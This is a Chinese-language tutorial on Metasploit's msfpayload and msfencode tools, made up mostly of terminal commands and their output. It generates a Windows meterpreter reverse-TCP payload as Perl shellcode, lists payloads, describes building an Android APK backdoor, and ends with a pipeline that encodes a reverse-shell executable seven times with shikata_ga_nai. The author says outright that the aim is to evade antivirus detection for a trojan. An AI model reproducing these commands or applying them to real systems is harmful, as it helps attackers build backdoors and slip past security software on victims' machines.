Started reverse handler on 0.0.0.0:5546
下面我们介绍我们会经常用到的一个参数,msfpayload,执行msfpayload -h,帮助文件显示的似乎很简单,我们对每个参数的功能做详细的介绍:
exploit@ubuntu:/pentest/framework3$ msfpayload -h
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
Usage: /usr/local/bin/msfpayload [] [var=val]
<[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]|s[O]>
OPTIONS:
-h Help banner
-l List available payloads
msfpayload 操作选项 payload模块 变量定义 生成的文件格式,目前支持的格式有:C代码,C#代码,perl代码,ruby代码,Raw文件流,Js代码,exe文件,dll文件,vba文件,War文件,apk文件,python文件,
如,我们想生成一个通过反弹tcp端口的perl文件格式的payload,那么我们执行以下操作
exploit@ubuntu:/pentest/framework3$ msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=5546 P
>back.pl[!]
************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
ok接下来我们查看该文件是否生成,文件内容是什么
exploit@ubuntu:/pentest/framework3$ head -n 20 back.pl
# windows/meterpreter/reverse_tcp - 281 bytes (stage 1)
# http://www.metasploit.com
# VERBOSE=false, LHOST=192.168.1.106, LPORT=5546,
# ReverseConnectRetries=5, ReverseListenerBindPort=0,
# ReverseAllowProxy=false, ReverseListenerThreaded=false,
# EnableStageEncoding=false, StageEncoderSaveRegisters=,
# StageEncodingFallback=true, PrependMigrate=false,
# EXITFUNC=process, AutoLoadStdapi=true,
# InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,
# EnableUnicodeEncoding=true
my $buf =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" .
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" .
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" .
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" .
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" .
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" .
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" .
这里我们可以看到在当前目录生成了back.pl,查看perl文件内容,可以看到,反弹的ip地址是192.168.1.106,反弹的端口是5546,重试的次数是5次,允许加密,下面是执行反弹的shellcode代码
这里我们只是举了一个简单的例子,同样,如果我不知道有哪些payload可以提供给我们使用,那么我们只需要执行
exploit@ubuntu:/pentest/framework3$ msfpayload -l
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
Framework Payloads (356 total)
==============================
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server on Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server on Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server on Android. Connect back stager
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS
…………
这样就会列出所有的payload
由于payoad类型太多,我们不知道如何选择适合自己的平台的payload,比如我们需要android平台下的payload,那么我们只需要执行以下命令
exploit@ubuntu:/pentest/framework3$ msfpayload -l| grep android
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
android/meterpreter/reverse_http Run a meterpreter server on Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server on Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server on Android. Connect back stager
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager
这样所有的android平台下的payload都可以查找出来了,再根据我们的系统平台环境和网络环境选择合适的payload。
有了合适的payload,但是我不知道需要设置哪些参数,那么我们就需要执行下面的参数,这样根据系统提示,我们可以进行我们下一步的操作
exploit@ubuntu:/pentest/framework3$ msfpayload android/meterpreter/reverse_tcp s
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
Name: Android Meterpreter, Dalvik Reverse TCP Stager
Module: payload/android/meterpreter/reverse_tcp
Platform: Android
Arch: dalvik
Needs Admin: No
Total size: 8053
Rank: Normal
Provided by:
mihi
egypt
anwarelmakrahy
timwr
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadAndroid true yes Automatically load the Android extension
LHOST 192.168.189.134 yes The listen address
LPORT 4444 yes The listen port
RetryCount 10 yes Number of trials to be made if connection failed
Description:
Run a meterpreter server on Android. Connect back stager
这样会提示我们需要设置哪些参数,如LHOST,LPORT,是否自动加载,重试连接次数,这样我们就知道下一步如何对我们的payload进行设置操作
这样我们就生成了android平台的apk后门文件,由于msfpayload可以生成不同平台,不同语言的payload,所以在渗透的时候,我们可以根据目标系统的环境,和网络环境,选择我们合适的payload和生成的文件格式。
接下来,我们继续介绍metasploit的另外一个比较重要的参数msfencode的用法
exploit@ubuntu:/pentest/framework3$ msfencode -h
[!] ************************************************************************
[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
Usage: /usr/local/bin/msfencode
OPTIONS:
-a The architecture to encode as
-b The list of characters to avoid: '\x00\xff'
-c The number of times to encode the data
-d Specify the directory in which to look for EXE templates
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-p The platform to encode for
-s The maximum size of the encoded data
-t The output format:
bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war
-v Increase verbosity
-x Specify an alternate executable template
这里我们就其参数做一一介绍:
-a 指定CPU 的类型,
-b 指定需要去除的字符,帮助中的示例00 ff 这两种数值在网络传送中会被截断造成传送失败
-c 指定编码次数,
-d 指定exe模板搜索路径,
-i 指定要编码的数据文件
-k 设置生成的文件运行后的payload进程与模板文件进程分离。
-l 列出可用payload
-n 输出编码器信息
-o 输出文件
-p 指定编码平台
-s 指定编码后的字节数(payload的)
-t
加密后文件的输出格式,支持以下格式:bash,c,c#,dword,java,js_be,js_le,数字型(num),perl文件,pl后缀文
件,powershell格式文件,ps1格式文
件,py,python,raw,rb,ruby,sh,vbapplaction,vbscript,asp,aspx,aspx-
exe,dll,elf,elf-so,exe,exe-only,exe-service,exe-small.loop-vbs.macho,msi,msi_nouac,osx-app,psh,psh-net,psh-reflection,vba,vba-exe,war
-v 显示当前msfencode的版本信息
-x 指定一个备用的可执行文件模版
msfencode可以对我们的payload进行加密,一般是和msfpayload配合使用,当然,也可以单独对已有的文件模版进行加密,支持多种文件格式,并且支持多种加密方式,这里我们先看看msfencode支持哪些类型的加密方式
exploit@ubuntu:/pentest/framework3$ msfencode -l
[!] ************************************************************************
[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
上面列出了可以用的加密格式和等级,还是要根据我们系统的安全级别,杀毒软件以及其他防护软件来选择我们合适的加密方式以便绕过这些限制措施。空谈误国,我们还是看看实际的操作。
首先,在我的本地有个a.exe,是我们其他工具生成的木马服务端,由于需要免杀,有没有专门做免杀的程序狗和逆向狗,没事,自己动手丰衣足食,用msfencode来解决你的困扰。
我们用msfpayload来生成一个反弹的程序,通过msfencode来进行加密,规避杀毒软件的查杀。
exploit@ubuntu:/pentest/framework3$ msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |
msfencode -e x86/shikata_ga_nai -c 7 -t exe -o payload.exe
[!] ************************************************************************
[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************